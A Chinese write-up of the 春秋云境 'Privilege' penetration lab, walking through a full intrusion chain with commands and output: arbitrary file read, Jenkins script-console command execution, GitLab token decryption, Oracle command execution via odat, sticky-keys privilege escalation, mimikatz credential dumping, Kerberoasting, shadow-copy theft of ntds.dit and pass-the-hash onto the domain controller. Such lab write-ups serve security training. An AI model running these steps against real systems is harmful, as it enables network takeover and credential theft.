春秋云境·Privilege
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内网渗透

1260 字
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23 分钟

考点:

  • 信息泄露
  • Jenkins初始管理员密码
  • jenkins后台RCE
  • Gitlab API Token
  • Oracle RCE
  • SeRestorePrivilege提权
  • SPN
  • 卷影拷贝提取SAM
fscan64.exe -h 39.99.158.227

   ___                              _
  / _ \     ___  ___ _ __ __ _  ___| | __
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <
\____/     |___/\___|_|  \__,_|\___|_|\_\
                     fscan version: 1.8.2
start infoscan
(icmp) Target 39.99.158.227   is alive
[*] Icmp alive hosts len is: 1
39.99.158.227:135 open
39.99.158.227:139 open
39.99.158.227:3306 open
39.99.158.227:8080 open
39.99.158.227:80 open
[*] alive ports len is: 5
start vulscan
[*] NetInfo:
[*]39.99.158.227
   [->]XR-JENKINS
   [->]172.22.14.7
[*] WebTitle: http://39.99.158.227:8080 code:403 len:548    title:None
[*] WebTitle: http://39.99.158.227      code:200 len:54689  title:XR SHOP
已完成 5/5
[*] 扫描结束,耗时: 57.8079657s

80是XR shop，8080是jenkins，80这个是wordpress搭的，扫了一下目录发现www.zip，下下来发现一个任意文件读取

<?php
$logfile = rawurldecode( $_GET['logfile'] );
// Make sure the file is exist.
if ( file_exists( $logfile ) ) {
  // Get the content and echo it.
  $text = file_get_contents( $logfile );
  echo( $text );
}
exit;

试了下直接读flag，竟然成功了，估计这是用phpstudy搭的，权限比较高

http://39.99.158.227/tools/content-log.php?logfile=../../../../../../../../../Users/Administrator/flag/flag01.txt

根据提示读jenkins密码

http://39.99.158.227/tools/content-log.php?logfile=C:\ProgramData\Jenkins\.jenkins\secrets\initialAdminPassword
510235cf43f14e83b88a9f144199655b

然后登录

http://39.99.158.227:8080/login admin:510235cf43f14e83b88a9f144199655b

jenkins有个地方可以执行命令

http://39.99.158.227:8080/manage/script

因为权限比较高，直接加用户rdp上去了

println "net user fushuling qwer1234! /add".execute().text
println "net localgroup administrators fushuling /add".execute().text
果然是phpstudy
fscan64.exe -h 172.22.14.7/24

   ___                              _
  / _ \     ___  ___ _ __ __ _  ___| | __
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <
\____/     |___/\___|_|  \__,_|\___|_|\_\
                     fscan version: 1.8.2
start infoscan
(icmp) Target 172.22.14.7     is alive
(icmp) Target 172.22.14.11    is alive
(icmp) Target 172.22.14.16    is alive
(icmp) Target 172.22.14.31    is alive
(icmp) Target 172.22.14.46    is alive
[*] Icmp alive hosts len is: 5
172.22.14.7:445 open
172.22.14.7:3306 open
172.22.14.46:139 open
172.22.14.31:139 open
172.22.14.11:139 open
172.22.14.7:139 open
172.22.14.46:135 open
172.22.14.31:135 open
172.22.14.11:135 open
172.22.14.7:135 open
172.22.14.31:1521 open
172.22.14.46:445 open
172.22.14.31:445 open
172.22.14.11:445 open
172.22.14.46:80 open
172.22.14.16:80 open
172.22.14.7:80 open
172.22.14.16:22 open
172.22.14.7:8080 open
172.22.14.16:8060 open
172.22.14.11:88 open
172.22.14.16:9094 open
[*] alive ports len is: 22
start vulscan
[*] NetInfo:
[*]172.22.14.7
   [->]XR-JENKINS
   [->]172.22.14.7
[*] NetInfo:
[*]172.22.14.46
   [->]XR-0923
   [->]172.22.14.46
[*] NetInfo:
[*]172.22.14.11
   [->]XR-DC
   [->]172.22.14.11
[*] NetInfo:
[*]172.22.14.31
   [->]XR-ORACLE
   [->]172.22.14.31
[*] NetBios: 172.22.14.11    [+]DC XIAORANG\XR-DC
[*] NetBios: 172.22.14.46    XIAORANG\XR-0923
[*] NetBios: 172.22.14.31    WORKGROUP\XR-ORACLE
[*] WebTitle: http://172.22.14.7:8080   code:403 len:548    title:None
[*] WebTitle: http://172.22.14.16:8060  code:404 len:555    title:404 Not Found
[*] WebTitle: http://172.22.14.46       code:200 len:703    title:IIS Windows Server
[*] WebTitle: http://172.22.14.16       code:302 len:99     title:None 跳转url: http://172.22.14.16/users/sign_in
[*] WebTitle: http://172.22.14.16/users/sign_in code:200 len:34961  title:Sign in · GitLab
[*] WebTitle: http://172.22.14.7        code:200 len:54603  title:XR SHOP
[+] http://172.22.14.7/www.zip poc-yaml-backup-file
172.22.14.7 本机，已最高权限
172.22.14.46 XR-0923
172.22.14.11 XR-DC 域控
172.22.14.31 XR-ORACLE
172.22.14.16 GitLab

因为题目里说了个什么Gitlab API Token，去翻了

C:/ProgramData/Jenkins/.jenkins/credentials.xml
{AQAAABAAAAAg9+7GBocqYmo0y3H+uDK9iPsvst95F5i3QO3zafrm2TC5U24QCq0zm/GEobmrmLYh}

回jenkins那里解密一下

println(hudson.util.Secret.fromString("{AQAAABAAAAAg9+7GBocqYmo0y3H+uDK9iPsvst95F5i3QO3zafrm2TC5U24QCq0zm/GEobmrmLYh}").getPlainText())

得到明文

glpat-7kD_qLH2PiQv_ywB9hz2

接下来用API列出GitLab项目

proxychains curl --header "PRIVATE-TOKEN:glpat-7kD_qLH2PiQv_ywB9hz2" "http://172.22.14.16/api/v4/projects"
[{
	"id": 6,
	"description": null,
	"name": "Internal Secret",
	"name_with_namespace": "XRLAB / Internal Secret",
	"path": "internal-secret",
	"path_with_namespace": "xrlab/internal-secret",
	"created_at": "2022-12-25T08:30:12.362Z",
	"default_branch": "main",
	"tag_list": [],
	"topics": [],
	"ssh_url_to_repo": "git@gitlab.xiaorang.lab:xrlab/internal-secret.git",
	"http_url_to_repo": "http://gitlab.xiaorang.lab/xrlab/internal-secret.git",
	"web_url": "http://gitlab.xiaorang.lab/xrlab/internal-secret",
	"readme_url": null,
	"avatar_url": null,
	"forks_count": 0,
	"star_count": 0,
	"last_activity_at": "2022-12-25T08:30:12.362Z",
	"namespace": {
		"id": 8,
		"name": "XRLAB",
		"path": "xrlab",
		"kind": "group",
		"full_path": "xrlab",
		"parent_id": null,
		"avatar_url": null,
		"web_url": "http://gitlab.xiaorang.lab/groups/xrlab"
	}
}, {
	"id": 4,
	"description": null,
	"name": "XRAdmin",
	"name_with_namespace": "XRLAB / XRAdmin",
	"path": "xradmin",
	"path_with_namespace": "xrlab/xradmin",
	"created_at": "2022-12-25T07:48:16.751Z",
	"default_branch": "main",
	"tag_list": [],
	"topics": [],
	"ssh_url_to_repo": "git@gitlab.xiaorang.lab:xrlab/xradmin.git",
	"http_url_to_repo": "http://gitlab.xiaorang.lab/xrlab/xradmin.git",
	"web_url": "http://gitlab.xiaorang.lab/xrlab/xradmin",
	"readme_url": "http://gitlab.xiaorang.lab/xrlab/xradmin/-/blob/main/README.md",
	"avatar_url": null,
	"forks_count": 0,
	"star_count": 0,
	"last_activity_at": "2023-05-30T10:27:31.762Z",
	"namespace": {
		"id": 8,
		"name": "XRLAB",
		"path": "xrlab",
		"kind": "group",
		"full_path": "xrlab",
		"parent_id": null,
		"avatar_url": null,
		"web_url": "http://gitlab.xiaorang.lab/groups/xrlab"
	}
}, {
	"id": 3,
	"description": null,
	"name": "Awenode",
	"name_with_namespace": "XRLAB / Awenode",
	"path": "awenode",
	"path_with_namespace": "xrlab/awenode",
	"created_at": "2022-12-25T07:46:43.635Z",
	"default_branch": "master",
	"tag_list": [],
	"topics": [],
	"ssh_url_to_repo": "git@gitlab.xiaorang.lab:xrlab/awenode.git",
	"http_url_to_repo": "http://gitlab.xiaorang.lab/xrlab/awenode.git",
	"web_url": "http://gitlab.xiaorang.lab/xrlab/awenode",
	"readme_url": "http://gitlab.xiaorang.lab/xrlab/awenode/-/blob/master/README.md",
	"avatar_url": null,
	"forks_count": 0,
	"star_count": 0,
	"last_activity_at": "2022-12-25T07:46:43.635Z",
	"namespace": {
		"id": 8,
		"name": "XRLAB",
		"path": "xrlab",
		"kind": "group",
		"full_path": "xrlab",
		"parent_id": null,
		"avatar_url": null,
		"web_url": "http://gitlab.xiaorang.lab/groups/xrlab"
	}
}, {
	"id": 2,
	"description": "Example GitBook site using GitLab Pages: https://pages.gitlab.io/gitbook",
	"name": "XRWiki",
	"name_with_namespace": "XRLAB / XRWiki",
	"path": "xrwiki",
	"path_with_namespace": "xrlab/xrwiki",
	"created_at": "2022-12-25T07:44:18.589Z",
	"default_branch": "master",
	"tag_list": [],
	"topics": [],
	"ssh_url_to_repo": "git@gitlab.xiaorang.lab:xrlab/xrwiki.git",
	"http_url_to_repo": "http://gitlab.xiaorang.lab/xrlab/xrwiki.git",
	"web_url": "http://gitlab.xiaorang.lab/xrlab/xrwiki",
	"readme_url": "http://gitlab.xiaorang.lab/xrlab/xrwiki/-/blob/master/README.md",
	"avatar_url": "http://gitlab.xiaorang.lab/uploads/-/system/project/avatar/2/gitbook.png",
	"forks_count": 0,
	"star_count": 0,
	"last_activity_at": "2022-12-25T07:44:18.589Z",
	"namespace": {
		"id": 8,
		"name": "XRLAB",
		"path": "xrlab",
		"kind": "group",
		"full_path": "xrlab",
		"parent_id": null,
		"avatar_url": null,
		"web_url": "http://gitlab.xiaorang.lab/groups/xrlab"
	}
}, {
	"id": 1,
	"description": "This project is automatically generated and helps monitor this GitLab instance. [Learn more](/help/administration/monitoring/gitlab_self_monitoring_project/index).",
	"name": "Monitoring",
	"name_with_namespace": "GitLab Instance / Monitoring",
	"path": "Monitoring",
	"path_with_namespace": "gitlab-instance-23352f48/Monitoring",
	"created_at": "2022-12-25T07:18:20.914Z",
	"default_branch": "main",
	"tag_list": [],
	"topics": [],
	"ssh_url_to_repo": "git@gitlab.xiaorang.lab:gitlab-instance-23352f48/Monitoring.git",
	"http_url_to_repo": "http://gitlab.xiaorang.lab/gitlab-instance-23352f48/Monitoring.git",
	"web_url": "http://gitlab.xiaorang.lab/gitlab-instance-23352f48/Monitoring",
	"readme_url": null,
	"avatar_url": null,
	"forks_count": 0,
	"star_count": 0,
	"last_activity_at": "2022-12-25T07:18:20.914Z",
	"namespace": {
		"id": 2,
		"name": "GitLab Instance",
		"path": "gitlab-instance-23352f48",
		"kind": "group",
		"full_path": "gitlab-instance-23352f48",
		"parent_id": null,
		"avatar_url": null,
		"web_url": "http://gitlab.xiaorang.lab/groups/gitlab-instance-23352f48"
	}
}]

克隆项目

git clone http://gitlab.xiaorang.lab:glpat-7kD_qLH2PiQv_ywB9hz2@172.22.14.16/xrlab/internal-secret.git
git clone http://gitlab.xiaorang.lab:glpat-7kD_qLH2PiQv_ywB9hz2@172.22.14.16/xrlab/xradmin.git
git clone http://gitlab.xiaorang.lab:glpat-7kD_qLH2PiQv_ywB9hz2@172.22.14.16/xrlab/xrwiki.git

在xradmin/ruoyi-admin/src/main/resources/application-druid.yml找到Oracle的账号和密码

# 数据源配置
spring:
    datasource:
        type: com.alibaba.druid.pool.DruidDataSource
        driverClassName: oracle.jdbc.driver.OracleDriver
        druid:
            # 主库数据源
            master:
                url: jdbc:oracle:thin:@172.22.14.31:1521/orcl
                username: xradmin
                password: fcMyE8t9E4XdsKf
            # 从库数据源
            slave:
                # 从数据源开关/默认关闭
                enabled: false
                url: 
                username: 
                password: 
            # 初始连接数
            initialSize: 5
            # 最小连接池数量
            minIdle: 10
            # 最大连接池数量
            maxActive: 20
            # 配置获取连接等待超时的时间
            maxWait: 60000
            # 配置间隔多久才进行一次检测，检测需要关闭的空闲连接，单位是毫秒
            timeBetweenEvictionRunsMillis: 60000
            # 配置一个连接在池中最小生存的时间，单位是毫秒
            minEvictableIdleTimeMillis: 300000
            # 配置一个连接在池中最大生存的时间，单位是毫秒
            maxEvictableIdleTimeMillis: 900000
            # 配置检测连接是否有效
            validationQuery: SELECT 1 FROM DUAL
            testWhileIdle: true
            testOnBorrow: false
            testOnReturn: false
            webStatFilter: 
                enabled: true
            statViewServlet:
                enabled: true
                # 设置白名单，不填则允许所有访问
                allow:
                url-pattern: /druid/*
                # 控制台管理用户名和密码
                login-username: 
                login-password: 
            filter:
                stat:
                    enabled: true
                    # 慢SQL记录
                    log-slow-sql: true
                    slow-sql-millis: 1000
                    merge-sql: true
                wall:
                    config:
                        multi-statement-allow: true

用navicat连接的时候出现一个傻逼报错

参考这个博客就能解决

Oracle ORA-28547:connection to server failed,probable Oracle Net admin error问题解决

不过后来发现其实不一定非要连接上去，因为xradmin有DBA权限，用odat就能直接执行命令了，加个账户rdp上去

proxychains odat dbmsscheduler -s 172.22.14.31 -p 1521 -d ORCL -U xradmin -P fcMyE8t9E4XdsKf --sysdba --exec 'net user fushuling qwer1234! /add'
proxychains odat dbmsscheduler -s 172.22.14.31 -p 1521 -d ORCL -U xradmin -P fcMyE8t9E4XdsKf --sysdba --exec 'net localgroup administrators fushuling /add'

internal-secret里有一个文本，里面是一堆账号信息，从里面找到XR-0923的

XR-0923 | zhangshuai | wSbEajHzZs

RDP上XR-0923的时候发现这个用户属于Remote Desktop Users和Remote Management Users组所以能evil-winrm上去，感觉用这个连上去权限高点？怎么多了一些特权

proxychains evil-winrm -i 172.22.14.46 -u zhangshuai -p wSbEajHzZs

因为有SeRestorePrivilege，所以能无视ACL修改文件或者编辑注册表，类似于之前的放大镜提权，我们可以把cmd.exe重命名为sethc.exe，然后在锁屏界面连按五次shift启动sethc提权

ren sethc.exe sethc.bak
ren cmd.exe sethc.exe

锁屏界面连按五下shift启动粘连键，可以看到已经system了

拿flag然后添加个admin账号重新登进去

type C:\Users\Administrator\flag\flag03.txt
net user fushuling qwer1234! /add
net localgroup administrators fushuling /add

难绷的是我改完名之后改不回来了，可能得用zhangshuai用户改，不过也不影响后面继续打，抓一下密码(必须用2.2的，不然会报错)

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::logonpasswords

......
uthentication Id : 0 ; 5911516 (00000000:005a33dc)
Session           : Interactive from 3
User Name         : UMFD-3
Domain            : Font Driver Host
Logon Server      : (null)
Logon Time        : 2023/10/10 21:37:36
SID               : S-1-5-96-0-3
        msv :
         [00000003] Primary
         * Username : XR-0923$
         * Domain   : XIAORANG
         * NTLM     : e89745986378835c3e1781da017fcb27
         * SHA1     : 186e01ef383f305b1c636de1aa63753607ea0826
        tspkg :
        wdigest :
         * Username : XR-0923$
         * Domain   : XIAORANG
         * Password : (null)
        kerberos :
         * Username : XR-0923$
         * Domain   : xiaorang.lab
         * Password : af 8b 8e 71 25 e9 47 3d 60 f2 df 99 21 68 f5 7b 93 54 8c 54 b1 a8 96 0d 37 c3 9f cb 49 c7 b0 89 d1 75 8a 21 ae 39 96 86 09 c5 ef 6e 8a 83 2c 75 e2 d9 31 47 21 64 bf 4a 50 16 cd e1 15 e0 33 4e cd 86 3a 89 13 a5 b5 23 6c 77 bf 8f ac d4 cd 3f 83 60 a5 24 fb dd e0 bd 68 54 28 68 d8 f8 86 eb e1 dc 5c a3 5d 5c a6 6a ae d0 13 fe 3c be 58 b7 86 0e fe 9f c7 90 53 df 8b 09 3d 30 d2 40 71 66 6c 70 00 0f 40 d0 f3 7a 3d b1 43 a2 c4 12 17 c5 dd 29 92 b3 72 c5 02 aa 0c 0a f1 fd f5 47 83 ba 2b 1c e8 65 68 e8 23 56 ce d8 da bc cf c3 eb 71 25 a5 20 54 97 50 de 09 7c a8 3a 77 14 cb 33 a1 af 04 af e4 4b 92 85 82 61 67 75 3f fa bb 42 b4 c4 5f 30 ce 5a 4f 41 70 e4 ec ae 4d 0e f8 8a 51 32 8b d1 2d 03 03 37 06 55 d7 9e 2c 08 17 8c e3
        ssp :
        credman :
        cloudap :
......

拿着 XR-0923$ 的ntlm哈希看SPN能找到一个tianjing用户

proxychains impacket-GetUserSPNs xiaorang.lab/'XR-0923$' -hashes ':e89745986378835c3e1781da017fcb27' -dc-ip 172.22.14.11

抓一下哈希

proxychains impacket-GetUserSPNs xiaorang.lab/'XR-0923$' -hashes ':e89745986378835c3e1781da017fcb27' -dc-ip 172.22.14.11 -request-user tianjing

hashcat爆破

hashcat -m 13100 -a 0 1.txt /usr/share/wordlists/rockyou.txt --force
tianjing:DPQSXSXgh2

evil-winrm上去

proxychains evil-winrm -i 172.22.14.11 -u tianjing -p DPQSXSXgh2 
whoami /priv

有备份以及还原文件或目录的权限，可以卷影拷贝然后读sam(SAM是安全账户管理器数据库，包含了本地用户及用户组,包括它们的口令及其他属性，位于注册表的HKLM\SAM下面)

本地创一个raj.dsh，写入

set context persistent nowriters
add volume c: alias raj
create
expose %raj% z:

接着用unix2dos raj.dsh转化格式

然后切换到C目录，然后创一个test文件夹切换过去(不然后面会没权限)，把本地的raj.dsh上传上去

mkdir test
cd test
upload raj.dsh

卷影拷贝

diskshadow /s raj.dsh

复制到到当前目录，也就是我们创建的这个test目录

RoboCopy /b z:\windows\ntds . ntds.dit

最后把sam下下来，不知道是不是我代理的问题，贼慢，找不到图了，反正命令就是download ntds.dit

接下来下载system

reg save HKLM\SYSTEM system
download system

最后用download下来的ntds.dit和system本地进行解密

impacket-secretsdump -ntds ntds.dit -system system local

拿下域控

proxychains evil-winrm -i 172.22.14.11 -u Administrator -H "70c39b547b7d8adec35ad7c09fb1d277"
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😣
Source: github.com/k4yt3x/flowerhd
	

	

		
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小恐龙
花!
	


									

			

			
			
		

	






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